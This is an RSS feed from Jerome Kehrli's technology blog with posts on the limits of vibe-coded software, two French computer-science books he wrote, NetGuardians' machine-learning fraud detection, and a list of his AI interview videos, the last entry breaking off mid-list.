<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.niceideas.ch/roller2/roller-ui/styles/rss.xsl" media="screen"?><rss version="2.0" 
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:atom="http://www.w3.org/2005/Atom" >
<channel>
  <title>niceideas.ch</title>
  <link>https://www.niceideas.ch/roller2/badtrash/</link>
      <atom:link rel="self" type="application/rss+xml" href="https://www.niceideas.ch/roller2/badtrash/feed/entries/rss?cat=Computer+Science" />
    <description>Technological Thoughts by Jerome Kehrli</description>
  <language>en-us</language>
  <copyright>Copyright 2026</copyright>
  <lastBuildDate>Thu, 9 Apr 2026 06:13:17 -0400</lastBuildDate>
  <generator>Apache Roller 5.1.2</generator>
        <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/my-take-on-vibe-coding</guid>
    <title>My take on Vibe-Coding</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/my-take-on-vibe-coding</link>
        <pubDate>Thu, 9 Apr 2026 06:13:17 -0400</pubDate>
    <category>Computer Science</category>
    <category>ai</category>
    <category>coding</category>
    <category>software-development</category>
    <category>software-engineering</category>
    <category>vibe-coding</category>
            <description>&lt;p&gt;Following 
&lt;a href=&quot;https://www.linkedin.com/posts/samuel-bally_ia-dettetechnique-cto-activity-7447168883775574016-PYkJ?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAAAnuhsBzOfr7sOr3oz_r2du1pEqWZaz8FU&quot;&gt;
this post
&lt;/a&gt; on linkedin, I thought that I could share one of my own experiences.&lt;/p&gt;

&lt;p&gt;A fairly senior developer had an idea for a new product and spent a couple of weeks vibe-coding it. Hundreds of prompts, lots of iterative .md plans and in the end more than half a hundred thousands of lines of code produced in a surprisingly short time.&lt;/p&gt;

&lt;p&gt;When the project reached (what was deemed) a first &quot;complete&quot; state, it was handed over to me to take care of the remaining steps, mostly industrialization concerns: CI/CD pipeline and deployment automation, database migrations, security review, that kind of things.&lt;/p&gt;

&lt;p&gt;At first glance, I was honestly impressed. That was really a lot of work delivered very quickly.&lt;/p&gt;

&lt;p&gt;But as an architect, I tend to look at things through a slightly different lens: overarching structure, code quality, consistency, maintainability, testability... all the boring but essential stuff.&lt;br/&gt;
So before jumping in, I spent some time trying to understand where things stood on those aspects.&lt;/p&gt;

&lt;p&gt;Well I guess I got a good grasp on the feelings Pandora must have experienced when opening her famous box.&lt;/p&gt;

&lt;p&gt;While there were a few good ideas in there and clearly a lot of energy put into it, it was first and foremost lacking consistency all over the place: different architectural patterns used in parallel, some partially applied, some overlapping. Seldom parts of the codebase felt somewhat solid, but most of it was lacking even a minimal design. There was some dead code, quite a few tests but most that didn&apos;t pass, and overall again a lack of a clear, unifying structure.&lt;/p&gt;

&lt;p&gt;It was the most chaotic codebase I&apos;ve ever looked at.&lt;/p&gt;

&lt;p&gt;The result is that what took roughly two weeks to build would now require a significant amount of time to consolidate, refactor and bring to a proper production-ready state, mostly because it wasn&apos;t shaped progressively along the way. I estimated it to 3 months, minimum.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;So the &quot;2 weeks&quot; is nothing more than an illusion.&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;To be fair, even with that, there&apos;s still a net gain. If I compare it to building everything from scratch without any AI assistance, I&apos;d probably estimate something like 7–8 months. So ending up around 3–4 months total is still a very decent improvement.&lt;/p&gt;

&lt;p&gt;But the second phase, the cleanup and consolidation, is where things can get really tricky and cause quite a bit of a headache if everything is deferred until the end.&lt;/p&gt;


&lt;h2&gt;The key takeaway&lt;/h2&gt;

&lt;p&gt;The real leverage with these tools isn&apos;t just speed. It&apos;s how one uses that speed.&lt;/p&gt;

&lt;p&gt;If the architectural thinking, refactoring and validation are done continuously during the process, not postponed, then the outcome is very different. One can still move quite fast, but one also keeps the system coherent as it grows.&lt;/p&gt;

&lt;p&gt;In that scenario, I&apos;m pretty convinced the whole thing could have landed in a solid production-ready state in maybe a couple of months, without the heavy stabilization phase afterward.&lt;/p&gt;

&lt;p&gt;So the issue isn&apos;t vibe-coding itself. It&apos;s doing it blindly for too long without stepping back, reviewing and reshaping.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;There&apos;s a whole world of a difference between &quot;code that works&quot; and &quot;code that&apos;s ready to live in production.&quot;&lt;/b&gt;&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/8504034c-647e-4847-9a5e-faeb375b948d&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 500px; &quot; alt=&quot;Vibe Coding&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/8504034c-647e-4847-9a5e-faeb375b948d&quot; /&gt;
&lt;/a&gt; &lt;br&gt;
(Source : &lt;a href=&quot;https://medium.com/kairi-ai/how-to-vibe-code-without-creating-tech-debt-04b3ce7d29e1&quot;&gt;https://medium.com/kairi-ai/how-to-vibe-code-without-creating-tech-debt-04b3ce7d29e1&lt;/a&gt;
&lt;div class=&quot;centered&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;h2&gt;How I personally use AI&lt;/h2&gt;

&lt;p&gt;For me, AI is a coding assistant. A very powerful one, but still really just an assistant.&lt;/p&gt;

&lt;p&gt;I use it for things like these (among others):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;writing utility functions I don&apos;t want to spend time on&lt;/li&gt;
&lt;li&gt;helping with large refactorings&lt;/li&gt;
&lt;li&gt;generating straightforward unit tests&lt;/li&gt;
&lt;li&gt;wiring things end-to-end (API - service - DB - migration script)&lt;/li&gt;
&lt;li&gt;quickly prototyping ideas&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Basically, all the repetitive or low-value parts where it&apos;s amazingly helpful.&lt;/p&gt;

&lt;p&gt;And every time it produces code, I go through it carefully. Line by line when needed. And quite frankly, I do have very frequently things to say on these lines.&lt;/p&gt;

&lt;p&gt;But then where it really shines as well is outside of pure coding:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;challenging design ideas&lt;/li&gt;
&lt;li&gt;helping explore (and even deploy!) unfamiliar tech&lt;/li&gt;
&lt;li&gt;debugging tricky issues&lt;/li&gt;
&lt;li&gt;spotting potential performance hotspots or security concerns&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sometimes it misses obvious things and that&apos;s fine. But sometimes it surfaces insights surprisingly fast, and that&apos;s where it really feels like a force multiplier.&lt;/p&gt;

&lt;p&gt;At the end of the day, tools like Codex or Claude Code feel like superpowers.&lt;br/&gt;
But they&apos;re &lt;b&gt;MY&lt;/b&gt; superpowers, not autonomous developers.&lt;/p&gt;

&lt;br/&gt;

&lt;h2&gt;So how much faster in the end?&lt;/h2&gt;

&lt;p&gt;I&apos;d say that my extensive use of both Claude Code and Codex (they each have their own strengths) gives me roughly a &lt;b&gt;4x boost&lt;/b&gt; in my overall &lt;b&gt;TECHNICAL&lt;/b&gt; productivity.&lt;br/&gt;
&lt;i&gt;(They definitely don&apos;t help with slides though. Forget about that. It&apos;s rubbish.)&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;And that kind of gain is amazing. A real game changer.&lt;/p&gt;</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/two-books-one-journey-through</guid>
    <title>Two Books, One Journey Through Computing</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/two-books-one-journey-through</link>
        <pubDate>Tue, 23 Dec 2025 06:12:10 -0500</pubDate>
    <category>Computer Science</category>
    <category>artificial-intelligence</category>
    <category>books</category>
    <category>computer-science</category>
    <category>computers</category>
    <category>editions-eni</category>
    <category>jerone-kehrli</category>
    <atom:summary type="html">&lt;p&gt;
These two books form a single, coherent journey through computing, from the physical reality of machines to the abstract ideas that define computation and intelligence.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/139cbeca-697e-4de2-8e46-59dd6a29810e&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 500px; &quot; alt=&quot;Computer Sciences books&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/139cbeca-697e-4de2-8e46-59dd6a29810e&quot; /&gt;
&lt;/a&gt;
&lt;div class=&quot;centered&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;strong&gt;L&apos;informatique – Des transistors aux microservices&lt;/strong&gt; explores how computers are built and why modern systems look the way they do, starting with electricity and transistors and rising through operating systems, networks, cloud infrastructures, and microservices. It reconnects hardware, software, and architecture into a unified mental model that helps readers truly understand the machines they use every day.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Les sciences informatiques – De Turing à l&apos;intelligence artificielle&lt;/strong&gt; shifts the focus to ideas: algorithms, complexity, optimization, cryptography, and machine learning. Rather than listing techniques, it explains the principles, limits, and intellectual breakthroughs that culminate in modern artificial intelligence.
&lt;/p&gt;

&lt;p&gt;
Written in French by design, these books make deep technical knowledge accessible without linguistic barriers. They are intended for students, engineers, educators, and curious readers who want more than surface-level explanations - readers who seek understanding, coherence, and perspective rather than recipes or buzzwords.
&lt;/p&gt;

&lt;p&gt;
Each book stands on its own. Together, they offer a rare, structured vision of computing as both engineering and science, grounded in history, driven by ideas, and shaped by human choices.
&lt;/p&gt;</atom:summary>        <description>&lt;h2&gt;From Transistors to Intelligence&lt;/h2&gt;

&lt;p&gt;
We live surrounded by computers.
&lt;/p&gt;

&lt;p&gt;
They sit in our pockets, run our cars, power global markets, filter our information, and increasingly make decisions that affect our lives. And yet, for most people, including many professionals who work with them every day, computers remain strangely opaque.
&lt;br&gt;
We &lt;em&gt;use&lt;/em&gt; them fluently. But do we truly &lt;em&gt;understand&lt;/em&gt; them?
&lt;/p&gt;

&lt;p&gt;
That question is the quiet thread running through two complementary books:
&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.editions-eni.fr/livre/l-informatique-des-transistors-aux-microservices-9782409052088&quot;&gt;&lt;strong&gt;L&apos;informatique – Des transistors aux microservices&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.editions-eni.fr/livre/les-sciences-informatiques-de-turing-a-l-intelligence-artificielle-9782409052262&quot;&gt;&lt;strong&gt;Les sciences informatiques – De Turing à l&apos;intelligence artificielle&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/139cbeca-697e-4de2-8e46-59dd6a29810e&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 500px; &quot; alt=&quot;Computer Sciences books&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/139cbeca-697e-4de2-8e46-59dd6a29810e&quot; /&gt;
&lt;/a&gt;
&lt;div class=&quot;centered&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;
Together, they form a single intellectual journey: from the physical foundations of computing to the abstract ideas that gave birth to algorithms, cryptography, and artificial intelligence.&lt;br&gt;They can be read independently. But together, they tell a deeper story, one that is rarely told in a structured, accessible, and honest way.
&lt;/p&gt;


&lt;h2&gt;A Project Born Long Before the First Page&lt;/h2&gt;

&lt;p&gt;
This project did not start with a publishing contract.
&lt;br&gt;
It started in 1987, when a father chose to give his child a &lt;strong&gt;Commodore 128D&lt;/strong&gt; instead of a game console.&lt;br&gt;
It continued years later, when a twelve-year-old wrote his first lines of BASIC without knowing that these clumsy instructions would open the door to a lifelong exploration.
&lt;/p&gt;

&lt;p&gt;
What followed was not a straight line, but a long accumulation of questions:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How does a machine &lt;em&gt;really&lt;/em&gt; work?&lt;/li&gt;
&lt;li&gt;Why do architectures look the way they do?&lt;/li&gt;
&lt;li&gt;Where do our algorithms come from?&lt;/li&gt;
&lt;li&gt;Why do some problems resist computation?&lt;/li&gt;
&lt;li&gt;And how did we end up building systems that can now learn?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
These books are not encyclopedias.&lt;br&gt;
They are the result of years of &lt;em&gt;ordering knowledge&lt;/em&gt;, &lt;em&gt;making choices&lt;/em&gt;, and &lt;em&gt;accepting renunciations&lt;/em&gt;, because clarity always comes at the price of exclusion.
&lt;/p&gt;


&lt;h2&gt;Book I - From Matter to Systems&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.editions-eni.fr/livre/l-informatique-des-transistors-aux-microservices-9782409052088&quot;&gt;&lt;em&gt;L&apos;informatique – Des transistors aux microservices&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;
The first book is firmly anchored in the &lt;strong&gt;concrete reality of machines&lt;/strong&gt;.
&lt;br&gt;
It starts at the lowest possible level - electricity, transistors, logic gates - and slowly builds upward:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;microprocessors,&lt;/li&gt;
&lt;li&gt;memory and execution,&lt;/li&gt;
&lt;li&gt;operating systems,&lt;/li&gt;
&lt;li&gt;networking,&lt;/li&gt;
&lt;li&gt;virtualization,&lt;/li&gt;
&lt;li&gt;distributed systems,&lt;/li&gt;
&lt;li&gt;cloud architectures,&lt;/li&gt;
&lt;li&gt;and finally, microservices.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
But the ambition is not to list technologies.
&lt;br&gt;
The goal is to &lt;strong&gt;explain why things evolved the way they did&lt;/strong&gt;.
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why abstraction layers exist.&lt;/il&gt;
&lt;li&gt;Why operating systems look the way they do.&lt;/il&gt;
&lt;li&gt;Why distributed systems are hard.&lt;/il&gt;
&lt;li&gt;Why modern infrastructures inherit constraints that date back decades.&lt;/il&gt;
&lt;/ul&gt;

&lt;p&gt;
This book is for readers who want to reconnect the dots between:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;hardware and software,&lt;/il&gt;
&lt;li&gt;systems and applications,&lt;/il&gt;
&lt;li&gt;historical constraints and modern design choices.&lt;/il&gt;
&lt;/ul&gt;

&lt;p&gt;
It is written with the intent to be particularly valuable for:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;junior engineers who learned tools before foundations,&lt;/il&gt;
&lt;li&gt;developers who want to understand what happens &lt;em&gt;below&lt;/em&gt; their code,&lt;/il&gt;
&lt;li&gt;architects who need a coherent mental model across layers,&lt;/il&gt;
&lt;li&gt;curious readers who want a structured entry point into computing as a system.&lt;/il&gt;
&lt;/ul&gt;




&lt;h2&gt;Book II - From Ideas to Intelligence&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.editions-eni.fr/livre/les-sciences-informatiques-de-turing-a-l-intelligence-artificielle-9782409052262&quot;&gt;&lt;em&gt;Les sciences informatiques – De Turing à l&apos;intelligence artificielle&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;
If the first book explains &lt;strong&gt;what machines are&lt;/strong&gt;, the second explores &lt;strong&gt;what they can compute, and why&lt;/strong&gt;.&lt;br&gt;
This is the more abstract book.&lt;br&gt;
It is also the one that required the most difficult choices.
&lt;/p&gt;

&lt;p&gt;
Computer science is vast: computability, complexity, data structures, logic, formal languages, graphs, optimization, cryptography, machine learning...
&lt;br&gt;
Everything matters.&lt;br&gt;
But a book is not an encyclopedia.
&lt;/p&gt;

&lt;p&gt;
So this volume focuses on a coherent intellectual trajectory:
&lt;/p&gt;

&lt;ul&gt;
&lt;il&gt;algorithmic thinking and problem construction,&lt;/il&gt;
&lt;li&gt;hard problems and computational limits,&lt;/li&gt;
&lt;li&gt;optimization as a unifying discipline,&lt;/li&gt;
&lt;li&gt;cryptography as a bridge between pure mathematics and real-world security,&lt;/li&gt;
&lt;li&gt;blockchain viewed technically rather than symbolically,&lt;/li&gt;
&lt;li&gt;and finally, machine learning - from the perceptron to generative AI.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The goal is not to turn readers into specialists, but to give them &lt;strong&gt;conceptual depth&lt;/strong&gt;: to understand &lt;em&gt;what is happening&lt;/em&gt; behind the buzzwords, to see how modern AI is rooted in decades of theory, and to grasp the limits as clearly as the possibilities.
&lt;/p&gt;

&lt;p&gt;
This book is ideal for:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;students who want meaning behind formulas,&lt;/li&gt;
&lt;li&gt;engineers who use ML without fully understanding it,&lt;/li&gt;
&lt;li&gt;professionals navigating AI discourse with critical thinking,&lt;/li&gt;
&lt;li&gt;educators looking for a narrative that connects ideas rather than isolating them.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Why These Books Are in French - And Why That Matters&lt;/h2&gt;

&lt;p&gt;
Many excellent books on these topics already exist in English. Much fewer in french.
&lt;br&gt;And that is not the point.
&lt;br&gt;
The point is that &lt;strong&gt;language is not neutral&lt;/strong&gt; when it comes to understanding.
&lt;/p&gt;

&lt;p&gt;
For a large part of the francophone world, English technical literature creates friction, translation dilutes nuance and conceptual depth often gets lost behind vocabulary barriers.
&lt;/p&gt;

&lt;p&gt;
Writing these books in French is not a limitation, it is a deliberate choice:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; to make deep technical knowledge accessible without linguistic overhead,&lt;/li&gt;
&lt;li&gt; to serve students, engineers, and educators who think and teach in French,&lt;/li&gt;
&lt;li&gt; to contribute durable reference material to francophone technical culture.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
These books assume intelligence, curiosity and rigor, but they do not assume perfect fluency in English.
&lt;br&gt;
And that matters.
&lt;/p&gt;


&lt;h2&gt;Emotion, Doubt and the Discipline of Renunciation&lt;/h2&gt;

&lt;p&gt;
Writing these books was not about accumulating content. That was the easy part. It was much more about:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;cutting chapters,&lt;/li&gt;
&lt;li&gt;abandoning beloved topics,&lt;/li&gt;
&lt;li&gt;rewriting explanations until they were both precise &lt;em&gt;and&lt;/em&gt; readable,&lt;/li&gt;
&lt;li&gt;redrawing diagrams,&lt;/li&gt;
&lt;li&gt;verifying references,&lt;/li&gt;
&lt;li&gt;and constantly choosing clarity over exhaustiveness.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The hardest part was not technical. It was &lt;strong&gt;accepting that some things would not make it into the book&lt;/strong&gt;.
&lt;br&gt;
That discipline is what gives these volumes their coherence.
&lt;br&gt;
They are not showcases of erudition. They are guided paths through complexity.
&lt;/p&gt;


&lt;h2&gt;Who These Books Are Really For&lt;/h2&gt;

&lt;p&gt;
These books are not for people looking for quick answers or shortcuts. But rather for people who want:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;to &lt;em&gt;understand&lt;/em&gt; rather than memorize,&lt;/li&gt;
&lt;li&gt;to build mental models rather than collect tools,&lt;/li&gt;
&lt;li&gt;to connect history, theory, and practice.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
They belong on the shelves of:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;junior engineers building their foundations,&lt;/li&gt;
&lt;li&gt;experienced professionals filling conceptual gaps,&lt;/li&gt;
&lt;li&gt;educators seeking coherent narratives,&lt;/li&gt;
&lt;li&gt;and lifelong learners who refuse to treat technology as magic.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Two Independent Books. One Coherent Vision.&lt;/h2&gt;

&lt;p&gt;
Each book stands on its own. But together, they offer something rare: a complete, structured exploration of computing, from physical reality to abstract intelligence.
&lt;br&gt;
They explain:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how machines are built,&lt;/li&gt;
&lt;li&gt;how computation is defined,&lt;/li&gt;
&lt;li&gt;how limits emerge,&lt;/li&gt;
&lt;li&gt;and how modern AI fits into a much longer story.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Not as hype. Not as prophecy. But as engineering, science, and human ingenuity.
&lt;/p&gt;


&lt;h2&gt;Final Thought&lt;/h2&gt;

&lt;p&gt;
Technology moves fast.
&lt;br&gt;
Understanding lasts longer.
&lt;br&gt;
These books were written for those who want to slow down just enough to truly understand what they are building, using, and shaping.
&lt;/p&gt;

&lt;p&gt;
And once you see the whole picture, you never quite look at a computer the same way again.
&lt;/p&gt; </description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/ai-what-do-we-do</guid>
    <title>AI - what do we do differently at NetGuardians ?</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/ai-what-do-we-do</link>
        <pubDate>Mon, 18 Feb 2019 02:42:15 -0500</pubDate>
    <category>Computer Science</category>
    <category>ai</category>
    <category>artificial-intelligence</category>
    <category>netguardians</category>
    <atom:summary type="html">&lt;p&gt;
The world of fraud prevention in banking institutions has always been largely based on rules.
&lt;br&gt;
Bankers and their engineers were integrating rules engines on the banking information system to prevent or detect most common fraud patterns.
&lt;br&gt;
And for quite a long time, this was sufficient.
&lt;/p&gt;

&lt;p&gt;
But today we are experiencing a change of society, a new industrial revolution.
&lt;br&gt;
Today, following the first iPhone and the later mobile internet explosion, people are interconnected all the time, everywhere and for all kind of use.
&lt;br&gt;
This is the digital era and the digitization of means and behaviours forces corporations to transform their business model.
&lt;/p&gt;

&lt;p&gt;
As a consequence, banking institutions are going massively online and digital first. Both the bank users and customers have evolved their behaviours with the new means offered by the digital era.
&lt;br&gt;
And the problem is:
&lt;br&gt;
How do you want to protect your customer&apos;s assets with rules at a time when, for instance, people connect to their swiss ebanking platform from New York to pay for a holiday house rental in Morocco? How would you want to define rules to detect frauds when there are almost as many different behaviours as there are customers?
&lt;/p&gt;

    &lt;div id=&quot;player_2&quot; style=&quot;max-width: 100%;&quot;&gt;&lt;/div&gt;

    &lt;script&gt;

        player = new YT.Player(&apos;player_2&apos;, {
          height: &apos;360&apos;,
          width: &apos;640&apos;,
          videoId: &apos;B9dY63KAG3I&apos;
        });

    &lt;/script&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

</atom:summary>        <description>&lt;p&gt;
The world of fraud prevention in banking institutions has always been largely based on rules.
&lt;br&gt;
Bankers and their engineers were integrating rules engines on the banking information system to prevent or detect most common fraud patterns.
&lt;br&gt;
And for quite a long time, this was sufficient.
&lt;/p&gt;

&lt;p&gt;
But today we are experiencing a change of society, a new industrial revolution.
&lt;br&gt;
Today, following the first iPhone and the later mobile internet explosion, people are interconnected all the time, everywhere and for all kind of use.
&lt;br&gt;
This is the digital era and the digitization of means and behaviours forces corporations to transform their business model.
&lt;/p&gt;

&lt;p&gt;
As a consequence, banking institutions are going massively online and digital first. Both the bank users and customers have evolved their behaviours with the new means offered by the digital era.
&lt;br&gt;
And the problem is:
&lt;br&gt;
How do you want to protect your customer&apos;s assets with rules at a time when, for instance, people connect to their swiss ebanking platform from New York to pay for a holiday house rental in Morocco? How would you want to define rules to detect frauds when there are almost as many different behaviours as there are customers?
&lt;/p&gt;

    &lt;div id=&quot;player_148374&quot; style=&quot;max-width: 100%;&quot;&gt;&lt;/div&gt;

    &lt;script&gt;

        player = new YT.Player(&apos;player_148374&apos;, {
          height: &apos;360&apos;,
          width: &apos;640&apos;,
          videoId: &apos;B9dY63KAG3I&apos;
        });

    &lt;/script&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;
At NetGuardians, we prevent fraud using a completely different approach. We use Artificial Intelligence to monitor financial transactions and user behaviour in real time and detect suspicious transactions or activities.
&lt;br&gt;
With our Big Data Analytics Platform - NG|Screener - the machine analyzes the past transactions of the customers to understand their transactional behaviour, as well as past activities of users on the banking information system. 
&lt;br&gt;
The machine is able to analyze a very important depth of history in real time, capturing what customers and users usually do in so called Dynamic Profiles. 
&lt;br&gt;
Then, whenever a transaction is input on the system, the Artificial Intelligence is able to compare that specific transaction against the customer profile and compute a risk score for it. If the risk score is sufficiently high, the machine will decide to block the transaction and qualify it for further investigation by the bank.
&lt;/p&gt;

&lt;p&gt;
Using advanced machine learning techniques, we are able to have a very broad spectrum of detection, while minimizing wrong alerts, these famous false positives, to an unprecedented low ratio.
Instead of focusing on identifying fraudsters, at NetGuardians we focus on understanding user and customer behaviours and habits. In order to find frauds, we don&apos;t look only for Fraud. Our approach is to detect and block every transaction that is simply too unusual and risky for the banking institution to afford letting it go out without a further investigation. And it turns out the frauds are simply always part of this set of risky transactions.
&lt;br&gt;
Our unique combination of unsupervised and supervised approaches makes it possible to minimize false positives, while still being able to detect fraud patterns never encountered before.
In the world of Fraud Prevention Solutions, this is the Holy Grail, being able to use models that can detect what has never been encountered before while at the same time keeping the amount of alerts very low. This is hardly seen in other AI solutions on the market today.
&lt;/p&gt;

&lt;p&gt;
Over the time, we have been able to develop our Artificial Intelligence further to make it smarter and smarter. For instance, pretty soon we started to compare transactions against different background sets, the past customer or user activities of course, but also the banking institution past activities as a whole or even the customer or user peer group.
&lt;br&gt;
The peer groups are also built using Machine Learning to analyze customers and users past activities, this time to group them together, and achieve better and more accurate scoring of risky transactions or other activities.
&lt;/p&gt;

&lt;p&gt;
Today, our unique Artificial Intelligence platform is able to use a dozen of different Analytics and Machine Learning approaches going much beyond solely transaction scoring. For instance, we are able to qualify the legitimacy of a specific interaction on the ebanking platform, or to monitor PSD2 providers activity, or even to do frequency and timing anomalies detection on card transactions.
&lt;/p&gt;

&lt;p&gt;
At NetGuardians, we use AI to detect anomalies and prevent fraud by providing the experts and investigators within the bank with the tools aimed at making them more efficient than has ever been possible before. 
&lt;br&gt;
We enhance the human investigation and analytics process, but we don&apos;t supplant it. 
&lt;br&gt;
This is called Augmented Intelligence, the core of what we do at NetGuardians.
&lt;/p&gt;
</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/interview-on-artificial-intelligence</guid>
    <title>Interview on Artificial Intelligence</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/interview-on-artificial-intelligence</link>
        <pubDate>Fri, 29 Jun 2018 10:29:52 -0400</pubDate>
    <category>Computer Science</category>
    <category>ai</category>
    <category>artificial-intelligence</category>
    <category>banking-fraud</category>
    <category>ia</category>
    <atom:summary type="html">&lt;p&gt;
This is a collection of three videos I recorded for the &lt;a href=&quot;https://www.empowerment.foundation/&quot;&gt;&quot;empowerment fundation&quot;&lt;/a&gt; as part of their file on &lt;a href=&quot;https://bee2.ch/intelligence-artificielle-2/&quot;&gt;Artificial Intelligence&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
In parallel and in addition to &lt;a href=&quot;https://www.empowerment.foundation/becurious&quot;&gt;BeCurious&lt;/a&gt;, the &lt;i&gt;Empowerment Foundation&lt;/i&gt; launches in 2018 a project of &lt;i&gt;curation files&lt;/i&gt; thematic through the bee² program.
&lt;/p&gt;

&lt;p&gt;
Taking up the practice of curating video content, bee² means: exploring the issues that build our world, expand the perspectives of analysis, stimulate awareness to enable everyone to act in a more enlightened and responsible way facing tomorrow&apos;s challenges.
&lt;br&gt;
It&apos;s about bringing out specific issues and allowing everyone to easily discover videos the most relevant, validated by experts, on the given topic without having to browse many sources of information.
&lt;/p&gt;

&lt;p&gt;
The three videos I contributed to are (in french, sorry):
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=6g87mOszUWQ&quot;&gt;AI and Cybersecurity: Preventing Bank Fraud&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=jOH0akpSmos&quot;&gt;How does the Google self driving car work ?&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=lQY5_aHt42A&quot;&gt;What are the limits of AI?&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The three videos can be viewed directly on this very page below.
&lt;/p&gt;
</atom:summary>        <description>&lt;p&gt;
This is a collection of three videos I recorded for the &lt;a href=&quot;https://www.empowerment.foundation/&quot;&gt;&quot;Empowerment Fundation&quot;&lt;/a&gt; as part of their file on &lt;a href=&quot;https://bee2.ch/intelligence-artificielle-2/&quot;&gt;Artificial Intelligence&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
In parallel and in addition to &lt;a href=&quot;https://www.empowerment.foundation/becurious&quot;&gt;BeCurious&lt;/a&gt;, the &lt;i&gt;Empowerment Foundation&lt;/i&gt; launched in 2018 a project of &lt;i&gt;curation files&lt;/i&gt; thematic through the bee² program.
&lt;/p&gt;

&lt;p&gt;
Taking up the practice of curating video content, bee² means: exploring the issues that build our world, expand the perspectives of analysis, stimulate awareness to enable everyone to act in a more enlightened and responsible way facing tomorrow&apos;s challenges.
&lt;br&gt;
It&apos;s about bringing out specific issues and allowing everyone to easily discover videos the most relevant, validated by experts, on the given topic without having to browse many sources of information.
&lt;/p&gt;

&lt;p&gt;
The three videos I contributed to are::
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=6g87mOszUWQ&quot;&gt;AI and Cybersecurity: Preventing Bank Fraud&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=jOH0akpSmos&quot;&gt;How does the Google self driving car work ?&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
